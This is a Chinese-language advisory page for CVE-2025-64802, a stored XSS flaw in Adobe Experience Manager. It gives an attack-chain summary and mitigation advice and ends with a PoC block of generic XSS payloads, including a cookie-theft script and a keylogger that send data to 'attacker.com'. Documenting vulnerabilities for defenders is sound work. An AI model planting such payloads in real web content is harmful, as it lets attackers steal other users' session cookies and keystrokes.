CVE-2025-64802 CVSS 5.4 中危

CVE-2025-64802 Adobe Experience Manager 存储型XSS漏洞

披露日期: 2025-12-10

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-64802

漏洞类型

存储型跨站脚本(XSS)

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Adobe Experience Manager

漏洞概述

CVE-2025-64802是Adobe Experience Manager中的一个存储型跨站脚本(XSS)漏洞。该漏洞影响AEM 6.5.23及更早版本。攻击者可以利用低权限账户在存在漏洞的表单字段中注入恶意JavaScript脚本。当受害者浏览包含该漏洞字段的页面时，恶意脚本将在其浏览器中执行，可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全问题。由于是存储型XSS，恶意脚本会永久保存在服务器端，所有访问该页面的用户都可能受到攻击。该漏洞的CVSS评分为5.4，属于中等严重程度，需要用户交互才能触发，但攻击复杂度较低，攻击者可远程利用。

技术细节

Adobe Experience Manager的表单字段未对用户输入进行充分的输出编码和验证，导致存储型XSS漏洞。攻击者以低权限账户登录AEM系统后，可在表单输入字段中注入恶意JavaScript代码，如：<script>alert(document.cookie)</script>。该恶意脚本被存储在服务器数据库中。当其他用户访问包含该表单的页面时，AEM系统从数据库读取并展示该内容，未对输出进行适当转义，使得恶意脚本在用户浏览器中执行。攻击者可利用此漏洞窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或修改页面内容。由于攻击基于AEM的正常内容发布流程，恶意脚本可能传播到多个页面，影响范围较大。修复需要升级到AEM 6.5.24或更高版本，并在应用层实施严格的输入验证和输出编码。

攻击链分析

STEP 1

步骤1：侦察与访问

攻击者获取Adobe Experience Manager系统的低权限账户访问权限

STEP 2

步骤2：漏洞注入

攻击者在存在漏洞的表单字段中注入恶意JavaScript或HTML代码，如<script>标签或事件处理器

STEP 3

步骤3：持久化存储

恶意代码被存储在AEM服务器数据库或内容仓库中，成为页面内容的一部分

STEP 4

步骤4：受害者访问

目标用户访问包含恶意代码的页面，此时不需要特殊操作

STEP 5

步骤5：脚本执行

用户浏览器解析页面内容时执行注入的恶意JavaScript代码

STEP 6

步骤6：攻击完成

攻击者通过恶意脚本窃取Cookie、会话令牌或其他敏感信息，或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Stored XSS PoC for CVE-2025-64802 -->
<!-- Inject this payload into vulnerable form fields in Adobe Experience Manager -->

<!-- Basic XSS Payload -->
<script>alert('XSS');</script>

<!-- Cookie Theft Payload -->
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

<!-- Keylogger Payload -->
<script>
  document.addEventListener('keypress', function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
  });
</script>

<!-- Image Tag Bypass Payload -->
<img src=x onerror='alert(document.domain)'>

<!-- SVG Payload -->
<svg/onload=alert(document.cookie)>

影响范围

Adobe Experience Manager 6.5.23及更早版本

Adobe Experience Manager < 6.5.24

防御指南

临时缓解措施

如果无法立即升级，可采取以下临时缓解措施：1) 限制低权限用户对表单编辑功能的访问；2) 在Web应用防火墙(WAF)层配置XSS防护规则，过滤恶意脚本标签；3) 启用AEM的HTML sanitizer功能对用户输入进行清理；4) 监控和审计用户提交的内容，及时发现异常输入。但最根本的解决方案仍是升级到厂商发布的安全版本。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表